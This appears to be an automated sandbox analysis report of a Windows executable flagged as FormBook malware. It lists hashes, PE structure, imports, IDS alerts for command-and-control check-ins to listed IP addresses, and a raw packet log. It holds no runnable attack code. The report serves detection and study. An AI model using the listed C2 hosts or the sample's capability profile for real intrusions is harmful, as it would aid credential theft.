TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	fJD7ivEnzm.exe
File size:	1'393'415 bytes
MD5:	46bb75d27887b28474a3eb4570d89ca5
SHA1:	ac12d22d8683b2129c848661eb4c130c99fc8923
SHA256:	f5d173e1e89e02211fa67806e20fcf4fb9c7dcd656929ffad54840454bae58a9
SHA512:	137977f7ede7770079f01fd3bc0058b23c589d941214dda8cffa125412820838b42b05ab024d449d973b19f01dfabc169075579a0050853b5cf190437615623a
SSDEEP:	24576:uRmJkcoQricOIQxiZY1iaCUS6oefZVmtR8lcsmSI77N8ix5BYInHIAn4:7JZoQrbTFZY1iaCU9+8kSI77bxfX4
TLSH:	5755F122F9D69036C1B323B19E7FF7AA963D69360336C29723C42D315EA05416B39763
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................1b.......P.).....Q.......y.......i..........}....N.......d.......`.......m.......g.....Rich............PE..L..

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x4165c1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4F25BAEC [Sun Jan 29 21:32:28 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d3bf8a7746a8d1ee8f6e5960c3f69378

Entrypoint Preview

Instruction
call 00007F5A888C469Bh
jmp 00007F5A888BB50Eh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F5A888BB68Ah
cmp edi, eax
jc 00007F5A888BB826h
cmp ecx, 00000080h
jc 00007F5A888BB69Eh
cmp dword ptr [004A9724h], 00000000h
je 00007F5A888BB695h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007F5A888BB687h
jmp 00007F5A888BBA62h
test edi, 00000003h
jne 00007F5A888BB696h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007F5A888BB6ABh
rep movsd
jmp dword ptr [00416740h+edx*4]
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007F5A888BB68Eh
and eax, 03h
add ecx, eax
jmp dword ptr [00416654h+eax*4]
jmp dword ptr [00416750h+ecx*4]
nop
jmp dword ptr [004166D4h+ecx*4]
nop
inc cx
add byte ptr [eax-4BFFBE9Ah], dl
inc cx
add byte ptr [ebx], ah
ror dword ptr [edx-75F877FAh], 1
inc esi
add dword ptr [eax+468A0147h], ecx
add al, cl
jmp 00007F5A8AD33E87h
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007F5A888BB64Eh
rep movsd
jmp dword ptr [00000000h+edx*4]

Rich Headers

Programming Language:

[ C ] VS2010 SP1 build 40219
[C++] VS2010 SP1 build 40219
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8d41c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9328	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x844	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8061c	0x80800	61ffce4768976fa0dd2a8f6a97b1417a	False	0.5583182605787937	data	6.684690148171278	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xdfc0	0xe000	0354bc5f2376b5e9a4a3ba38b682dff1	False	0.36085728236607145	data	4.799741132252136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a758	0x6800	8033f5a38941b4685bc2299e78f31221	False	0.15324519230769232	data	2.1500715391677487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9328	0x9400	495451d7eb8326bd9fa2714869ea6de8	False	0.49002322635135137	data	5.541804843154628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x4d0	data	English	Great Britain	0.36363636363636365
RT_STRING	0xb2d08	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3308	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb3968	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3cf0	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3e48	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3ed0	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3ee8	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3f00	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3f18	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb40b8	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, lstrcpyW, MultiByteToWideChar, lstrlenW, lstrcmpiW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, GetProcessHeap, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetLocalTime, CompareStringW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetTimeFormatW, GetDateFormatW, GetCommandLineW, GetStartupInfoW, IsProcessorFeaturePresent, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStringTypeW, HeapCreate, SetHandleCount, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, RtlUnwind, SetFilePointer, GetTimeZoneInformation, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, HeapReAlloc, WriteConsoleW, SetEndOfFile, SetSystemPowerState, SetEnvironmentVariableA
USER32.dll	GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, SetWindowPos, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, TranslateMessage, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, GetMenuItemID, DispatchMessageW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, PeekMessageW, UnregisterHotKey, CharLowerBuffW, keybd_event, MonitorFromRect, GetWindowThreadProcessId
GDI32.dll	DeleteObject, AngleArc, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, GetDeviceCaps, MoveToEx, DeleteDC, GetPixel, CreateDCW, Ellipse, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, LineTo
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, CloseServiceHandle, UnlockServiceDatabase, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, CopySid, LogonUserW, LockServiceDatabase, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, GetAce, AddAce, SetSecurityDescriptorDacl, RegOpenKeyExW, RegQueryValueExW, AdjustTokenPrivileges, InitiateSystemShutdownExW, OpenSCManagerW, RegCloseKey
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CLSIDFromString, StringFromGUID2, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, ProgIDFromCLSID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize, IIDFromString
OLEAUT32.dll	VariantChangeType, VariantCopyInd, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SysStringLen, SafeArrayAllocData, GetActiveObject, QueryPathOfRegTypeLib, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysAllocString, VariantCopy, VariantClear, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, SafeArrayAccessData, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T16:34:09.577337+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49736	148.72.152.174	80	TCP
2024-10-08T16:34:09.577337+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49736	148.72.152.174	80	TCP
2024-10-08T16:34:25.149111+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49807	3.33.130.190	80	TCP
2024-10-08T16:34:27.700097+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49820	3.33.130.190	80	TCP
2024-10-08T16:34:30.224719+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49838	3.33.130.190	80	TCP
2024-10-08T16:34:32.773056+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49854	3.33.130.190	80	TCP
2024-10-08T16:34:32.773056+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49854	3.33.130.190	80	TCP
2024-10-08T16:34:38.867603+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49884	172.191.244.62	80	TCP
2024-10-08T16:34:41.458048+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49898	172.191.244.62	80	TCP
2024-10-08T16:34:44.172027+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49915	172.191.244.62	80	TCP
2024-10-08T16:34:46.735729+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49929	172.191.244.62	80	TCP
2024-10-08T16:34:46.735729+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49929	172.191.244.62	80	TCP
2024-10-08T16:34:53.052676+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49965	172.96.191.39	80	TCP
2024-10-08T16:34:55.405586+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49979	172.96.191.39	80	TCP
2024-10-08T16:34:58.160208+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49990	172.96.191.39	80	TCP
2024-10-08T16:35:00.539585+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50009	172.96.191.39	80	TCP
2024-10-08T16:35:00.539585+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50009	172.96.191.39	80	TCP
2024-10-08T16:35:06.383956+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50017	217.70.184.50	80	TCP
2024-10-08T16:35:09.393252+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50018	217.70.184.50	80	TCP
2024-10-08T16:35:13.005498+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50019	217.70.184.50	80	TCP
2024-10-08T16:35:14.675773+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50020	217.70.184.50	80	TCP
2024-10-08T16:35:14.675773+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50020	217.70.184.50	80	TCP
2024-10-08T16:35:21.787157+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50021	63.250.47.40	80	TCP
2024-10-08T16:35:24.221471+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50022	63.250.47.40	80	TCP
2024-10-08T16:35:26.921304+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50023	63.250.47.40	80	TCP
2024-10-08T16:35:29.400431+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50024	63.250.47.40	80	TCP
2024-10-08T16:35:29.400431+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50024	63.250.47.40	80	TCP
2024-10-08T16:35:35.132418+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50025	91.184.0.200	80	TCP
2024-10-08T16:35:37.638029+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50026	91.184.0.200	80	TCP
2024-10-08T16:35:40.497999+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50027	91.184.0.200	80	TCP
2024-10-08T16:35:42.903755+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50028	91.184.0.200	80	TCP
2024-10-08T16:35:42.903755+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50028	91.184.0.200	80	TCP
2024-10-08T16:35:48.432482+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50029	13.248.169.48	80	TCP
2024-10-08T16:35:50.957525+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50030	13.248.169.48	80	TCP
2024-10-08T16:35:53.691644+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50031	13.248.169.48	80	TCP
2024-10-08T16:35:56.288842+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50032	13.248.169.48	80	TCP
2024-10-08T16:35:56.288842+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50032	13.248.169.48	80	TCP
2024-10-08T16:36:16.506159+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50037	43.242.202.169	80	TCP
2024-10-08T16:36:19.055163+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50038	43.242.202.169	80	TCP
2024-10-08T16:36:21.606190+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50039	43.242.202.169	80	TCP
2024-10-08T16:36:24.175518+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50040	43.242.202.169	80	TCP
2024-10-08T16:36:24.175518+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50040	43.242.202.169	80	TCP
2024-10-08T16:36:30.319022+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50041	103.224.182.242	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 16:34:09.063029051 CEST	49736	80	192.168.2.4	148.72.152.174
Oct 8, 2024 16:34:09.067946911 CEST	80	49736	148.72.152.174	192.168.2.4
Oct 8, 2024 16:34:09.068031073 CEST	49736	80	192.168.2.4	148.72.152.174
Oct 8, 2024 16:34:09.075884104 CEST	49736	80	192.168.2.4	148.72.152.174
Oct 8, 2024 16:34:09.080781937 CEST	80	49736	148.72.152.174	192.168.2.4
Oct 8, 2024 16:34:09.576822042 CEST	80	49736	148.72.152.174	192.168.2.4
Oct 8, 2024 16:34:09.577236891 CEST	80	49736	148.72.152.174	192.168.2.4
Oct 8, 2024 16:34:09.577337027 CEST	49736	80	192.168.2.4	148.72.152.174
Oct 8, 2024 16:34:09.580452919 CEST	49736	80	192.168.2.4	148.72.152.174
Oct 8, 2024 16:34:09.585370064 CEST	80	49736	148.72.152.174	192.168.2.4
Oct 8, 2024 16:34:24.660065889 CEST	49807	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:24.665002108 CEST	80	49807	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:24.665076017 CEST	49807	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:24.676636934 CEST	49807	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:24.681587934 CEST	80	49807	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:25.149024010 CEST	80	49807	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:25.149111032 CEST	49807	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:26.192877054 CEST	49807	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:26.197813988 CEST	80	49807	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:27.211678028 CEST	49820	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:27.216702938 CEST	80	49820	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:27.216767073 CEST	49820	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:27.228100061 CEST	49820	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:27.233050108 CEST	80	49820	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:27.699974060 CEST	80	49820	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:27.700097084 CEST	49820	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:28.739753962 CEST	49820	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:28.744945049 CEST	80	49820	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:29.758759022 CEST	49838	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:29.763880014 CEST	80	49838	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:29.763995886 CEST	49838	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:29.774672031 CEST	49838	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:29.779748917 CEST	80	49838	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:29.779768944 CEST	80	49838	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:29.779786110 CEST	80	49838	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:29.779863119 CEST	80	49838	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:29.779876947 CEST	80	49838	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:29.779891014 CEST	80	49838	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:29.779913902 CEST	80	49838	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:29.779926062 CEST	80	49838	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:29.779953957 CEST	80	49838	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:30.224636078 CEST	80	49838	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:30.224719048 CEST	49838	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:31.287240982 CEST	49838	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:31.292191982 CEST	80	49838	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:32.305491924 CEST	49854	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:32.310749054 CEST	80	49854	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:32.310869932 CEST	49854	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:32.318255901 CEST	49854	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:32.325514078 CEST	80	49854	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:32.772227049 CEST	80	49854	3.33.130.190	192.168.2.4
